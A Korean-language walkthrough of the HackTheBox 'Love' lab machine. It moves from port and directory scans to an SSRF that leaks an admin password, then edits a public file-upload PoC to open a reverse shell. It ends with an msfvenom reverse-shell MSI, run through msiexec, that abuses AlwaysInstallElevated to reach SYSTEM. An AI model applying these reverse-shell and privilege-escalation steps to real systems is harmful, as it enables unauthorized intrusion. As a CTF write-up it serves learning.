포트 스캔 시 Windows 박스 머신에서 자주 확인되는 포트들이 확인된다.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-31 15:27 KST
Nmap scan report for 10.129.48.103
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
| tls-alpn:
|_ http/1.1
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '10.10.14.52' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
|_ssl-date: 2023-08-31T06:51:44+00:00; +21m33s from scanner time.
|_http-title: Not Found
7680/tcp closed pando-pub
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.93%I=7%D=8/31%Time=64F032BC%P=arm-apple-darwin21.6.0%r
SF:(NULL,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.52'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-08-31T06:51:31
|_ start_date: N/A
|_clock-skew: mean: 2h06m35s, deviation: 3h30m04s, median: 21m33s
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-08-30T23:51:32-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 186.97 seconds
스캔된 포트 중 80/tcp
, 443/tcp
, 5000/tcp
포트가 웹 서비스로 파악되어 각각의 서비스를 살펴본다.
80/tcp 서비스에 접근하면 아래와 같이 Voting System의 로그인 페이지가 확인된다.
일반적인 계정을 입력했지만 운이 좋지 않았기에, 디렉터리 스캔을 진행하니 흥미로워 보이는admin
디렉터리가 존재하는것을 알 수 있게됐다. 하지만 인증없이 접근은 불가능했다.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://love.htb/FUZZ
:: Wordlist : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
:: Extensions : .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 0,298
________________________________________________
includes [Status: 301, Size: 332, Words: 22, Lines: 10, Duration: 208ms]
admin [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 212ms]
images [Status: 301, Size: 330, Words: 22, Lines: 10, Duration: 212ms]
plugins [Status: 301, Size: 331, Words: 22, Lines: 10, Duration: 212ms]
index.php [Status: 200, Size: 4388, Words: 654, Lines: 126, Duration: 224ms]
dist [Status: 301, Size: 328, Words: 22, Lines: 10, Duration: 207ms]
tcpdf [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 214ms]
licenses [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 212ms]
server-status [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 211ms]
admin 경로에 인증이 미흡한 페이지가 존재하는지 확인하기 위해 해당 경로에서 페이지를 스캔하니 아래와 같은 결과를 볼 수 있었으나, 접근 가능한 페이지는 없었다.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://love.htb/FUZZ
:: Wordlist : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
:: Extensions : .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 0,298
________________________________________________
includes [Status: 301, Size: 332, Words: 22, Lines: 10, Duration: 208ms]
admin [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 212ms]
images [Status: 301, Size: 330, Words: 22, Lines: 10, Duration: 212ms]
plugins [Status: 301, Size: 331, Words: 22, Lines: 10, Duration: 212ms]
index.php [Status: 200, Size: 4388, Words: 654, Lines: 126, Duration: 224ms]
dist [Status: 301, Size: 328, Words: 22, Lines: 10, Duration: 207ms]
tcpdf [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 214ms]
licenses [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 212ms]
server-status [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 211ms]
HackTheBox에서 SSL이 적용된 웹 서비스는 드문것 같은데 HTTPS 웹이 존재하여 접근하니 403 Error로 접근할 수 없었고, 디렉터리 스캔을 진행해도 전부 403 Error만 확인할 수 있었다.
5000/tcp 포트에서도 웹 서비스가 운영되고있었고 해당 서비스에서도 모든 경로가 403 Error로 접근할 수 없었다.
식별되는 웹 서비스에서 공격이 가능한 포인트를 찾지 못하여 서브 도메인을 스캔결과 아래와 같이 1건의 서브 도메인을 발견할 수 있었다.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://love.htb
:: Wordlist : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/vhost-wordlist.txt
:: Header : Host: FUZZ.love.htb
:: Output file : vhost.love.htb.csv
:: File format : csv
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 4388
:: Filter : Response words: 0
________________________________________________
staging [Status: 200, Size: 5357, Words: 1543, Lines: 192, Duration: 288ms]
:: Progress: [20575/20575] :: Job [1/1] :: 362 req/sec :: Duration: [0:01:00] :: Errors: 0 ::
80/tcp 포트로 서브도메인 접근 시 아래와 같은 로그인 페이지를 확인할 수 있다.
상단 메뉴 중 Demo
에 접근 시 아래와 같이 URL을 입력받고 해당 파일에 대한 알려진 바이러스 등의 여부를 스캔해준다고한다.
SSRF 테스트를 위해 http://127.0.0.1:80/index.php
을 입력하니 아래와 같이 반응을 한다!
서비스 중인 모든 웹 서비스(80,443,5000/tcp)에서 건질만한 건이 없어서 서브도메인을 스캔했고 staging.love.htb
라는 서브도메인의 80/tcp에서 SSRF에 대한 가능성을 확인했다.
기존에 403 Error로 접근하지 못했던 5000/tcp에 접근이 가능한지 테스트를 위해 http://127.0.0.1:5000/
을 스캔 요청하니 내부에서는 접근이 가능했는지 페이지를 확인할 수 있었고, 그안에 admin
계정의 패스워드를 확인할 수 있었다.
SSRF
를 통해 확인된 관리자 계정을 최초에 확인했던 /admin/index.php
에 접근하여 로그인 시도하니 아래와 같이 SourceCodeSter
로 제작된 관리자 페이지가 확인된다.
SourceCodeSter의 Voting System이라는 투표 관리 시스템에서 PreAuth File Upload 취약점이 존재하는 것을 확인했다.
위 링크의 공개된 PoC에서 코드 일부에 셋팅을 공격대상과 공격자 정보로 변경한다.
# --- Edit your settings here ----
IP = "love.htb" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.52" # Reverse shell IP
REV_PORT = "9000" # Reverse port
# --------------------------------
love.htb:80
대상으로 poc를 실행했으나 응답이 느려 패킷을 확인하니 /votesystem/admin/index.php
로 요청을 날리는게 확인된다. 실제로 요청해야되는 경로는 /admin/index.php
로 poc코드의 일부를 수정한다.
# 수정 전
INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
LOGIN_URL = f"http://{IP}/votesystem/admin/login.php"
VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"
#수정 후
INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/login.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"
SSRF를 통해 내부에서만 접근할 수 있는 5000/tcp포트로 서비스중인 웹에 접근할 수 있었고 해당 페이지에서 관리자 패스워드를 획득하여 관리자 페이지에 접근할 수 있었고, 해당 페이지는 SourceCodeSter-VotingSystem으로 인증없이 File Upload를 할 수 있는 취약점이 존재하였다. 해당 취약점의 PoC를 통해 리버스 커넥션을 진행한다.
리스너(9000포트)를 열고 수정된 PoC를 동작하면 아래와 같이 쉘이 업로드되고 리버스 프록시에 연결할 수 있다.
% nc -l 9001 -vn
b374k shell : connected
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoebe
phoebe 계정의 터미널에서 WinPEAS
를 실행 시켜 시스템 정보를 수집했고, 흥미로운 설정을 확인할 수 있었다.
winpeas 결과에서 흥미로운 점은 아래와 같은 설정이다.
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
AlwaysInstallElevated
레지스터가 활성화(0x1) 되어있다면 시스템 권한으로 .msi
와 같은 설치 파일을 실행할 수 있다. (참고 : Windows Local Privilege Escalation - AlwaysInstallElevated)
이를 악용하기위해 msfvenom으로 악성 msi파일을 제작한다.
┌──(root㉿kali)-[~/Desktop/love]
└─# msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.52 LPORT=443 -f msi -o rev.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: rev.msi
AlwaysInstallElevated 설정을 악용하기 위해 악성 msi 파일을 생성하였고 해당 파일을 대상 서버로 전달하였고 phoebe 사용자 쉘을 이용해 가져와서 아래와 같은 명령통해 설치파일을 실행한다.
C:\xampp\htdocs\omrs\images>msiexec /quiet /qn /i rev.msi
msiexec /quiet /qn /i rev.msi
이후 공격자 리스닝 포트(443)으로 system 계정이 연결된것을 확인할 수 있었다.